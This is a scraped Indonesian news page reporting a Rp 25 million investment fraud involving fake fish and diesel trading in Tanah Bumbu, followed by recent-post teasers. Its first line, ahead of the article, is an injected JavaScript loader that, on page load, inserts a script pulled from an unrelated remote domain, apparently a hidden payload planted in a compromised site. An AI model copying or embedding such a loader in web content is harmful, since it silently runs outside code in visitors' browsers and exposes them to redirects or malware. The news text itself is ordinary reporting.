(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Tanah Bumbu

IRT Di Simpang Empat Tanah Bumbu, Korban Investasi Bodong Jual Beli Ikan dan BBM


KANALKALIMANTAN.COM, BATULICIN – Seorang Ibu Rumah Tangga (IRT) yang merupakan warga Desa Barokah, Kecamatan Simpang Empat, Kabupaten Tanah Bumbu menjadi korban invetasi bodong jual beli ikan dan bahan bakar minyak (BBM) jenis solar.

Kasus ini seperti yang diungkap oleh Kapolres Tanah Bumbu AKBP Tri Hambodo SIK yang dikonfirmasi melalui Kasi Humas Polres Tanah Bumbu AKP I Made Rasa, Sabtu (13/8/2022).

Dalam keterangannya kepada polisi, korban menceritakan awal kejadian yang bermula pada Selasa (2/8/2022) sekitar pukul 10.54 Wita, dimana tersangka yang berinsial AY memberikan kepada korban list atau daftar investasi untuk modal usaha jual beli ikan dan solar.

Korban yang merasa tertarik dengan bisnis yang ditawarkan tersebut, kemudian mentransfer uang pertama untuk modal investasi sebesar Rp 20 juta, dan trasnfer uang kedua sebesar Rp 5 juta ke rekening Bank BRI milik AY.

 

Baca juga  : Geger Asap Tebal Selimuti Bangunan Bening’s Clinic Banjarmasin, Diduga Korsleting Listrik

Namun, usaha jual beli ikan dan solar yang ditawarkan pelaku ternyata fiktif, setelah modal berserta keuntungan yang dijanjikan oleh pelaku tidak kunjung diserahkan kepada korban.

“Akibat kejadian tersebut korban, mengalami kerugian dengan total Rp 25 juta dan melaporkan kejadian tersebut ke Polsek Simpang Empat guna proses lebih lanjut,” ungkap AKP I Made.

Setelah memperoleh bukti, Polsek Simpang Empat kemudian menetapkan AY, sebagai tersangka dan AY datang sendiri ke Kantor Polsek Simpang Empat pada 10 Agustus 2022, setelah dipanggil oleh penyidik Unit Reskrim Polsek Simpang Empat.

 

Baca juga  : Rayakan HUT Kalsel ke-72, Dinsos Semarakan dengan Lomba Olahraga Tradisional

Petugas juga mengamankan sejumlah barang bukti pendukung, berupa satu lembar laporan transaksi finansial, satu lembar mutasi transfer Bank BRI, tujuh lembar bukti chat Whatsapps bersama pelapor, satu unit handphone merk Oppo Reno 6 warna pasific blue serta satu buah ATM Bank BRI.

Akibat perbuatannya tersebut, tersangka terancam dijerat dengan tindak pidana penipuan dan atau penggelapan, sebagai mana dimaksud dalam Pasal 378 Jo Pasal 372 Jo Pasal 55, 56 KUHP dengan ancaman hukuman penjara maksimal 4 tahun penjara. (Kanalkalimantan.com/ftr)

Reporter : ftr
Editor : cell


Desy Arfianty

Recent Posts

Pascabanjir TurunTangan Banjarmasin – UPZ Bakti Bersama Salurkan Bantuan ke Masjid

KANALKALIMANTAN.COM, PARINGIN — Banjir bandang di Kecamatan Tebing Tinggi, Kabupaten Balangan, beberapa waktu lalu tak… Read More

4 jam ago

Mantan Kajari HSU Ajukan Praperadilan, KPK Siap Ladeni Gugatan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyatakan siap menghadapi gugatan praperadilan yang diajukan mantan… Read More

8 jam ago

Hari Gizi Nasional 2026 “Sehat Dimulai dari Piringku”

KANALKALIMANTAN.COM - Hari Gizi Nasional yang diperingati setiap tanggal 25 Januari merupakan momentum penting dalam… Read More

12 jam ago

Wali Kota Yamin akan Tindak Pemilik Ruko yang Tidak Merawat Drainase

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More

1 hari ago

Ketua DPRD Kalsel Sampaikan Tuntutan Mahasiswa ke Senayan

KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More

1 hari ago

275 ASN Pemko Banjarmasin Pensiun di 2025

KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More

1 hari ago

This website uses cookies.